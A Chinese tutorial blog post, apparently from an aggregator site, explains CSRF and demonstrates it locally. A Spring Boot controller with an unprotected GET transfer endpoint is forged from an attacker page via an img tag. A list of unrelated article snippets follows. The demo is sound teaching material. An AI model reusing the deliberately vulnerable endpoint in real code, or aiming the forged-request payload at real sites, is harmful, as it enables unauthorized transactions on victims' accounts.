CSRF(跨站请求伪造)攻击演示

目录

  • CSRF(跨站请求伪造)攻击演示
    • CSRF 是什么
    • CSRF 演示项目代码
    • CSRF 演示过程
      • 服务启动
      • 演示

CSRF(跨站请求伪造)攻击演示

CSRF 是什么

CSRF(Cross-Site Request Forgery)跨站请求伪造,是一种网络安全攻击,其目标是利用被攻击者在某个网站的身份(通常是通过 cookie 认证)来伪造被攻击者的请求,以执行某些未经授权的操作。

攻击步骤通常包括以下几个阶段:

  • 登录受害者:攻击者诱使受害者登录到一个受信任的网站,并在受信任网站上保留了他们的身份认证凭据(比如 cookie)。
  • 构造恶意请求:攻击者在其控制的网站上嵌入了一些恶意代码或链接,这段代码或链接会向目标网站发送请求,利用受信任网站上受害者的身份。
  • 发起攻击:受害者在已经登录了的情况下,访问包含恶意代码的页面,这将导致向目标网站发送伪造的请求,执行某些未经授权的操作。这可能包括更改密码、发起转账、删除帐户等。

CSRF 演示项目代码

演示代码:github - csrf-demo

项目目录如下:

项目目录
其中业务后端 CsrfController.java 代码为:

package com.fhb.csrfdemo;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;

@RestController
@RequestMapping("/")
public class CsrfController {
    @GetMapping("/trans")
    public String trans(HttpServletRequest request, String name, Integer money) {
        HttpSession session = request.getSession();
        Object people = session.getAttribute("people");
        if (people == null) return "没有登录";
        System.out.println("给" + name + "转账" + money + "元");
        return "转账成功";
    }

    @GetMapping("/login")
    public String login(HttpServletRequest request) {
        HttpSession session = request.getSession();
        session.setAttribute("people", "people");
        return "登录成功";
    }
}

业务前端代码较为简单,代码为:

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <h1>CSRF 攻击测试</h1>
    <button onclick="trans()">转账</button>
    <button onclick="login()">登录</button>
    <a href="http://localhost:18080">恶意链接</a>
</body>

<script lang="js">
    async function trans() {
        const response = await fetch("/trans?name=fhb&money=100");
        const info = await response.text();
        alert(info);
    }
    async function login() {
        const response = await fetch("/login");
        const info = await response.text();
        alert(info);
    }
</script>
</html>

恶意网站仅为一个 html 文件:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h1>CSRF攻击软件</h1>
    <img src="http://localhost:8080/trans?name=fff&money=10" alt="xxx" srcset="">
</body>

<script>
</script>
</html>

CSRF 演示过程

服务启动

  1. 启动 java 程序 CsrfDemoApplication,该 Spring Boot 服务将在 8080 端口提供服务;

  2. 通过 npm 安装 http-server,进入 malicious-web 文件夹, 通过 http-server . -p 18080 启动攻击者网站;

业务网站 ui 如下:
ui

演示

通过 http://localhost:8080 访问目标网站。

  1. 如果直接点击 “转账” 按钮,将弹出提示框,提示 没有登录
  2. 如果点击 “登录”,弹出提示框,提示 登录成功,之后点击转账,提示 转账成功,并且在后端打印 给fhb转账100元
  3. 在第2步的基础上,点击 “恶意连接”,将跳转到攻击者网站,并且在后端打印 给fff转账10元,表示攻击成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/129413.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【FastCAE源码阅读7】视图方向切换按钮实现原理

在FastCAE工具栏上有视图切换按钮&#xff0c;如下图所示&#xff1a; 本文介绍如何实现。 FastCAE集成了Python解析器&#xff0c;当单击按钮时&#xff0c;中间用Python执行的&#xff0c;最后调用MainWindow.dll库接口实现的。 具体的Python代码在Python模块的py文件夹下的…

Kali无线网卡无法识别

啊莫,该不会有人Kali系统识别不了自己的无线网卡吧! 环境:本来用作监听功能的3037芯片无线网卡,自己胡乱调,一不小心调试成了物理网卡的功能,变成了WLAN2网卡,结果用在了Windows系统上!如果你也是这样,点开你的网络适配器看看吧! 解决思路:1.删驱动 删除Windows上的…

基于JavaWeb+SSM+Vue微信小程序校园兼职任务平台系统的设计和实现

基于JavaWebSSMVue微信小程序校园兼职任务平台系统的设计和实现 源码传送入口前言主要技术系统设计功能截图Lun文目录订阅经典源码专栏Java项目精品实战案例《500套》 源码获取 源码传送入口 前言 随着社会的发展和全球疫情的冲击&#xff0c;大学生的就业形势越来越严峻。越…

PLC开放式以太网通信网络状态查看工具netstat

在进行PLC的开放式以太网通信时,为了查看网络状态我们可以利用ping这个强有力的工具,还可以使用netstat这个工具。 博途PLC开放式以太网通信 UDP通信 博途PLC 1200/1500PLC开放式以太网通信TSEND_C通信(UDP)_RXXW_Dor的博客-CSDN博客文章浏览阅读1.7k次。开放式TSEND_C通信…

地理数据常用处理

自助式绘图工具kepler UTM坐标转WGS84 首先根据UTM对应表找到目标地区的编号&#xff0c;中国东部地区属于UTM Zone 50N 再查找UTM 50N 的EPSG标准 https://epsg.io/?qUTMzone50N 得到 EPSG:32650 Transform coordinates geohash编码与解码 import transbigdata as tbd …

LeetCode(1)合并两个有序数组【数组/字符串】【简单】

目录 1.题目2.答案3.提交结果截图 链接&#xff1a; 88. 合并两个有序数组 1.题目 给你两个按 非递减顺序 排列的整数数组 nums1 和 nums2&#xff0c;另有两个整数 m 和 n &#xff0c;分别表示 nums1 和 nums2 中的元素数目。 请你 合并 nums2 到 nums1 中&#xff0c;使合…

Postman —— post请求数据类型

1、Postman中post的数据类型 post中有以下数据类型 1、form-data 2、x-www-form-urlencoded 3、raw 4、binary 2、Postman请求不同的post数据类型 from-data multipart/form-data&#xff0c;它将表单的数据组织成Key-Value形式&#xff0c;也可以上传文件&#xff0c;当…

Shell速成:快速提升你的Linux命令行技能

1 diff 对比文件不同 diff file1 file2 # 区分两个文件不同的地方[num1,num2][a|c|d][num3,num4] num1,num2 ##第一个文件中的行 a ##添加 c ##更改 d ##删除 < ##第一个文件中的内容 > ##第二个文件中的内容 num3,num4 ##第二个文件中的行-b忽略空格 -B忽略空行 -i…

【笔记】回顾JavaWeb结合自身开发的项目——分层解耦与IOC、MySQL简单查询

分层解耦的三层架构 如下图所示是手术训练系统中的实现&#xff1a; 如果你需要从new EmpServiceA()变为new EmpServiceB()&#xff0c;那么必然需要修改Service和Controller层的代码&#xff0c;那么如果我们不new 这个对象呢&#xff1f;是不是就不需要依赖Controller层。 …

关于maven读取settings.xml文件的优先级问题

今天在IDEA中配置maven的setting.xml文件路径指向的.m2路径下的setting_a.xml文件&#xff0c;同时&#xff0c;我的maven3.6.3也放在.m2中。 [1] .m2文件夹 [2] apache-maven-3.6.3文件夹 然后&#xff0c;在IDEA中打包发布时发现&#xff0c;无论如何都读取不到指定的setti…

GPT最佳实践:五分钟打造你自己的GPT

前几天OpenAI的My GPTs栏目还是灰色的&#xff0c;就在今天已经开放使用了。有幸第一时间体验了一把生成自己的GPT&#xff0c;效果着实惊艳&#xff01;&#xff01;&#xff01;我打造的GPT模型我会放到文章末尾&#xff0c;大家感兴趣也可以自己体验一下。 打造自己的GPT模型…

小程序如何设置下单提示语句

下单提示会展示在购物车和提交订单页面&#xff0c;它可以帮助商家告知客户事项&#xff0c;提高用户体验和减少错误操作。例如提示&#xff1a;商品是否包邮、某些区域是否发货、商品送达时间等等。 在小程序管理员后台->配送设置处&#xff0c;填写下单提示。在设置下单提…

使用电阻检测仪是否能满足生产车间防静电要求

在现代工业生产中&#xff0c;静电对产品质量和人员安全造成的影响越来越受到重视。特别是在电子、半导体、化工等领域&#xff0c;静电问题可能导致产品损坏、人员触电等严重后果。因此&#xff0c;生产车间的防静电工作显得尤为重要。而电阻检测仪作为一种常用的防静电工具&a…

​软考-高级-系统架构设计师教程(清华第2版)【第2章 计算机系统基础知识-思维导图】​

软考-高级-系统架构设计师教程&#xff08;清华第2版&#xff09;【第2章 计算机系统基础知识-思维导图】 课本里章节里所有蓝色字体的思维导图

【分布式id生成系统——leaf源码】

分布式id生成系统——leaf源码 号段模式双buffer优化id获取 Leaf &#xff0c;分布式 ID 生成系统&#xff0c;有两种生成 ID 的方式&#xff1a; 号段模式Snowflake模式 号段模式 由于号段模式依赖于数据库表&#xff0c;我们先看一下相关的数据库表&#xff1a; biz_tag&…

【Unity插件】分享几个完全免费的2D角色动画生成器(推荐收藏)

文章目录 前言一、lpc-character-generator二、Universal-LPC-Spritesheet-Character-Generator三、UP主开发的2D人物换装系统四、Character Editor: Megapack完结 前言 你可能游戏开发能力很强&#xff0c;但是正愁于2D角色动画&#xff0c;那么这篇文章就是为你而准备的&…

Jira Software Enterprise Crack

Jira Software Enterprise Crack Jira软件是为您的应用程序组中的每一个成员设计、监控和启动优秀软件的。 策略&#xff1a;生成用户故事和问题&#xff0c;策略冲刺&#xff0c;并在应用程序团队中分配任务。 跟踪&#xff1a;在具有绝对可见性的完整背景下&#xff0c;确定团…

GTDB-Tk基因组物种注释

文章目录 安装GTDB-Tk v2.3.3 and gtdbtk_r214_data.tar.gzGTDB-Tk v2.1.1 and gtdbtk_r207_v2_data.tar.gzGTDB-Tk 1.3.0 数据库classify_wf 物种注释一步使用分步使用批量dRep以及GTDB注释注意报错由于基因组存在重复id导致Pfam报错 查看已经安装的数据库iTOL可视化问题pplac…

SSM项目与Redis整合以及Redis注解式开发以及Redis击穿穿透雪崩

目录 前言 一、SSM项目整合Redis 1.导入pom依赖 2.Spring-redis相关配置 3.Spring上下文配置 二、redis注解式缓存 1.Cacheable 注解 2.CachePut 注解 3.CacheEvict 注解 三、redis击穿、穿透、雪崩 1. 缓存击穿 2. 缓存穿透 3. 缓存雪崩 前言 当将SSM项目与Red…

docker下的nginx代理转发到tomcat

多次尝试失败原因&#xff0c;修改nginx配置文件以后&#xff0c;需要./nginx.sh -s reload 下&#xff0c;之前一直不转发&#xff0c;好像完全没有跳转的意思&#xff0c;后来查了多篇文档&#xff0c;最简单的方法如下 docker 安装 nginx 和tomcat就不多说了&#xff0c;可…